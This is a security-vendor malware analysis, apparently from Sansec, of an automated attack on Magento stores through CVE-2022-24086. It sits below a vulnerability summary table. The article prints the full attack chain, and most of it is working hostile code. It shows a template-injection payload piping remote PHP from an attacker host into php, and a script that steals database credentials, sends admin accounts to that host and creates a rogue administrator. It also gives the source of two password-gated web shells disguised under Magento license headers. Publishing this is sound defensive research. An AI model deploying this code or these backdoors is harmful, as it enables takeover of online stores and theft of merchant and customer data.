Fake Klaviyo accounts added to Magento
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2022-24086 | Unauthenticated RCE via checkout input-validation flaw in Adobe Commerce/Magento Adobe Commerce and Magento Open Source versions 2.4.3-p1 and earlier and 2.3.7-p2 and earlier contain an improper input validation flaw (CWE-20) in the checkout process. A remote attacker can trigger it with no privileges and no user interaction by submitting crafted input to a store's checkout flow, and successful exploitation results in arbitrary code execution on the server hosting the storefront. Any Adobe Commerce or Magento Open Source storefront running the affected versions is exposed, and because these are internet-facing e-commerce sites the practical exposure is broad. Exploitation is confirmed in the wild: the flaw is in CISA's Known Exploited Vulnerabilities catalog (added 2022-02-15), its EPSS exploitation probability is 99.2% (100th percentile), and news reports describe ongoing attacks against Magento 2 stores, including recurring 'Xurum' attack campaigns and template-based attacks. Do: Upgrade every store to an Adobe-patched release per the vendor's instructions - i.e., any release newer than 2.4.3-p1 on the 2.4.x line or newer than 2.3.7-p2 on the 2.3.x line - noting that headlines indicate companion Magento CVEs were fixed in the same patch release, so consult Adobe's advisory for the full list. Because exploitation is unauthenticated and confirmed in the wild, prioritize internet-facing shops; WAF rules may reduce risk, but reports indicate WAF bypasses in related Magento attacks, so patching is the only reliable fix. After patching, review web server and application logs for exploitation attempts against the checkout flow and check affected hosts for indicators of compromise. | 9.8 | 99% | KEV |
| massroughly 100,000-300,000 online storefronts (Magento/Adobe Commerce is among the most widely deployed e-commerce platforms) |
Full article2,000 words · extracted from sansec.io · click to collapse
Magento 2 template hacks have been raging since a month or two, and Sansec is closely tracking any new attack payloads. So far, we observed about 20 different payloads which all added a basic PHP backdoor. However, this one just came in and caught our eye. It
db:sales_order_address.28883,mailtemplate_attackpattern_rx2_6c392,).addAfterFilterCallback($order.shipping_address.last_name).filter($order.shipping_address.city)}}system3001 W OLD YANKTON RDcurl https://smtp.emailgenius.org/test/mnu2p18z8lawlNCWoqIxIl7sChZ1VIq6.php?d=https://victimstore.com | php
The following script does:
- Remove all attack probes from several relevant database tables
- Counts number of last week’s sales orders
- Installs
404.phpandhealth_check.phpas back doors - Uploads all admin users and the secret control panel path to a foreign server
- Extracts database credentials
- Creates rogue admin user called
[email protected]
What does this lead to?
- Magento template attacks are now (finally) largely automated, as we predicted.
- You should check whether you have installed all relevant patches and updates, and not inadvertently negated the patch (with a
LegacyResolver) See our other reporting on the worst Magento security incident since ShopLift in 2015 and Ambionics in 2019:
<?php
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
$env = array();
if (file_exists('app/etc/env.php')) {
$env = require_once 'app/etc/env.php';
}
else if(file_exists('./../app/etc/env.php')){
$env = require_once './../app/etc/env.php';
}
else if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/app/etc/env.php')) {
$env = require_once $_SERVER['DOCUMENT_ROOT'] . '/app/etc/env.php';
}
else if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/../app/etc/env.php')){
$env = require_once $_SERVER['DOCUMENT_ROOT'] . '/../app/etc/env.php';
}
else {
print('Unable to load config');
exit();
}
$host = $env['db']['connection']['default']['host'];
$username = $env['db']['connection']['default']['username'];
$password = $env['db']['connection']['default']['password'];
$dbname = $env['db']['connection']['default']['dbname'];
$prefix = $env['db']['table_prefix'];
$path = $env['backend']['frontName'];
$con = mysqli_connect($host, $username, $password, $dbname);
echo "ADMIN: " . $path .PHP_EOL;;
try{
$result = mysqli_query($con, "delete from " . $prefix . "sales_order where customer_firstname like '%getTemplateFilter%' or customer_lastname like 'system'");
if ($result !== FALSE) {
echo "sales_order: delete".PHP_EOL;;
}else{
echo "sales_order: ERROR".PHP_EOL;
}
$result2 = mysqli_query($con, "delete from " . $prefix . "quote where customer_firstname like '%getTemplateFilter%' or customer_lastname like 'system'");
if ($result2 !== FALSE) {
echo "quote: delete".PHP_EOL;;
}else{
echo "quote: ERROR".PHP_EOL;
}
$result3 = mysqli_query($con, "delete from " . $prefix . "quote_address where firstname like '%getTemplateFilter%' or lastname like 'system'");
if ($result3 !== FALSE) {
echo "quote_address: delete".PHP_EOL;;
}else{
echo "quote_address: ERROR".PHP_EOL;
}
$result4 = mysqli_query($con, "delete from " . $prefix . "sales_order_grid where shipping_name like '%getTemplateFilter%' or billing_name like '%system'");
if ($result4 !== FALSE) {
echo "sales_order_grid: delete".PHP_EOL;;
}else{
echo "sales_order_grid: ERROR".PHP_EOL;
}
$result5 = mysqli_query($con, "delete from " . $prefix . "sales_invoice_grid where customer_name like '%getTemplateFilter%'");
if ($result5 !== FALSE) {
echo "sales_invoice_grid: delete".PHP_EOL;;
}else{
echo "sales_invoice_grid: ERROR".PHP_EOL;
}
$result66 = mysqli_query($con, "delete from " . $prefix . "customer_address_entity where firstname like '%getTemplateFilter%'");
if ($result66 !== FALSE) {
echo "customer_address_entity: delete".PHP_EOL;
}else{
echo "customer_address_entity: ERROR".PHP_EOL;
}
$result7 = mysqli_query($con, "delete from " . $prefix . "mageplaza_smtp_log where email_content like '%getTemplateFilter%'");
if ($result7 !== FALSE) {
echo "customer_address_entity: delete".PHP_EOL;
}else{
echo "customer_address_entity: ERROR".PHP_EOL;
}
$result8 = mysqli_query($con, "delete from " . $prefix . "sales_order_address where firstname like '%getTemplateFilter%' or lastname like 'system'");
if ($result8 !== FALSE) {
echo "sales_order_address: delete".PHP_EOL;
}else{
echo "sales_order_address: ERROR".PHP_EOL;
}
} catch (\Exception $ex) {
echo $ex->getMessage();
}
echo 'https://victimstore.com/'.$path.PHP_EOL;
$resultCount = mysqli_query($con, "select count(*) as aa from " . $prefix . "sales_order where created_at >= DATE_SUB(NOW(), INTERVAL 7 DAY)");
if ($resultCount !== FALSE) {
while ($row = mysqli_fetch_assoc($resultCount)) {
echo "Order last week: ".$row["aa"].PHP_EOL;
}
}else{
echo "get count week: ERROR".PHP_EOL;
}
$userSalted = 'klaviyo_support_'.genRndStr(4);
$passSalted = genRndStr(30);
echo $userSalted.":".$passSalted.PHP_EOL;
echo "DATABASE: " . $host . "|" . $username . "|" . $password . "|" . $dbname .PHP_EOL;;
echo 'https://victimstore.com/404.php'.PHP_EOL;
echo 'https://victimstore.com/health_check.php'.PHP_EOL;
system("pwd");
$result6 = mysqli_query($con, "SELECT * FROM `" . $prefix . "admin_user`");
if ($result6 !== FALSE) {
echo "ADMIN:".PHP_EOL;
$adminUsers = array();
while ($row = mysqli_fetch_assoc($result6)) {
$admin = new Admin();
$admin->Username = $row["username"];
$admin->Password = $row["password"];
$admin->Email = $row["email"];
$admin->Firstname = $row["firstname"];
$admin->Lastname = $row["lastname"];
$admin->IsActive = $row["is_active"];
$admin->Lognum = $row["lognum"];
$admin->Created = $row["created"];
$admin->Logdate = $row["logdate"];
$adminUsers[] = $admin;
}
$admins = new AdminList();
$admins->List = $adminUsers;
$admins->Domain = 'victimstore.com';
$admins->Adminpath = $path;
echo json_encode($admins).PHP_EOL;
SendUsers(json_encode($admins));
}
system("wget https://smtp.emailgenius.org/zMqt7rOQ9jpnaGGT52w07yExnH2Oemsq/404_djkhfjkfhhfj.txt -O 404.php --no-check-certificate");
system("wget https://smtp.emailgenius.org/zMqt7rOQ9jpnaGGT52w07yExnH2Oemsq/back_BqGoapdxCOZphlehIipJwIm7hlGGL44y.txt -O health_check.php --no-check-certificate");
//system("curl https://smtp.emailgenius.org/test/adm22fgfgfgf.txt | php");
use Magento\Framework\App\Bootstrap;
try{
if (file_exists('./../app/bootstrap.php')) {
require './../app/bootstrap.php';
}
else if (file_exists('app/bootstrap.php')) {
require 'app/bootstrap.php';
}else {
print('Unable to load bootstrap.php');
exit();
}
$bootstrap = Bootstrap::create(BP, $_SERVER);
$objectManager = $bootstrap->getObjectManager();
$UserFactory = $objectManager->get('\Magento\User\Model\UserFactory');
$adminInfo = [
'username' => $userSalted,
'firstname' => 'klaviyo',
'lastname' => 'support',
'email' => '[email protected]',
'password' => $passSalted,
'interface_locale' => 'en_US',
'is_active' => 1
];
$userModel = $UserFactory->create();
$userModel->setData($adminInfo);
$userModel->setRoleId(1);
$userModel->save();
echo "User is sucessfully created!".PHP_EOL;
echo $userSalted.":".$passSalted.PHP_EOL;
} catch (\Exception $ex) {
echo $ex->getMessage();
}
system("ls -al");
function SendUsers($users)
{
$url = "https://smtp.emailgenius.org/au.php";
$options = array(
'http' => array(
'header' => "Content-Type: application/json\r\n" .
"Accept: application/json\r\n",
'method' => 'POST',
'content' => $users
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
if ($result === FALSE) {
echo "ERROR SEND USERS".PHP_EOL;
} else {
echo "SUCCESS SEND USERS".PHP_EOL;
}
}
function genRndStr($length) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
class Admin
{
public $Username;
public $Password;
public $Email;
public $Firstname;
public $Lastname;
public $IsActive;
public $Lognum;
public $Created;
public $Logdate;
}
class AdminList
{
public $Domain;
public $Adminpath;
public $List;
}
404.php
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@magento.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Errors
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
?>
<div class="content-inner">
<section class="error-404 not-found">
<header class="page-header">
<h1 class="page-title">Oops! That page can’t be found.</h1>
</header><!-- .page-header -->
<div class="page-content widget-area">
<p>It looks like nothing was found at this location. Maybe try one of the links below or a search?</p>
<div class="widget">
</div>
</div><!-- .page-content -->
</section><!-- .error-404 -->
</div><!-- #.content-inner -->
<?php
if(!isset($_POST["s64213"]) || hash("sha512", $_POST["s64213"]) != '40fc7487d1ada98a8510e1f32ed28e996e5a2b00096eac5c10be2eec0926f0481e0c812410ab3da531fbf37bf4bbd70e3781b7f456555f4d630a2898f1137189'){
exit();
}
$url = $_GET["02b818675d009e603f5db8bf66"];
$filename = $_GET["name"];
if(!isset($url)){
$url = $_POST["02b818675d009e603f5db8bf66"];
}
if(!isset($filename)){
$filename = $_POST["name"];
}
if($url != null){
$content = file_get_contents($url);
if($filename == null){
file_put_contents("hhGhgTg.php", $content);
}
else{
file_put_contents($filename, $content);
}
}
$md = $_POST["02b818675d009e603f5db8bf66cmd"];
if(isset($md)){
$emails = explode("@", $md);
echo $emails[0]($emails[1]);
}
?>
health_check.php
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@magento.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Errors
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
if(!isset($_POST["s64213"]) || hash("sha512", $_POST["s64213"]) != '40fc7487d1ada98a8510e1f32ed28e996e5a2b00096eac5c10be2eec0926f0481e0c812410ab3da531fbf37bf4bbd70e3781b7f456555f4d630a2898f1137189'){
exit();
}
$md = $_POST["02b8186"];
if(isset($md)){
$df = explode("@", $md);
echo $df[0]($df[1]);
echo true;
}
$mde = $_POST["02b8186ebc"];
$mdd = openssl_decrypt($mde,"AES-128-ECB",$_POST["k"]);
if(isset($mdd)){
$df = explode("@", $mdd);
echo $df[0]($df[1]);
echo true;
}
?>
Read more
Text extracted automatically; images, tables and formatting may be missing. Original: https://sansec.io/research/fake-klaviyo-accounts-added-to-magento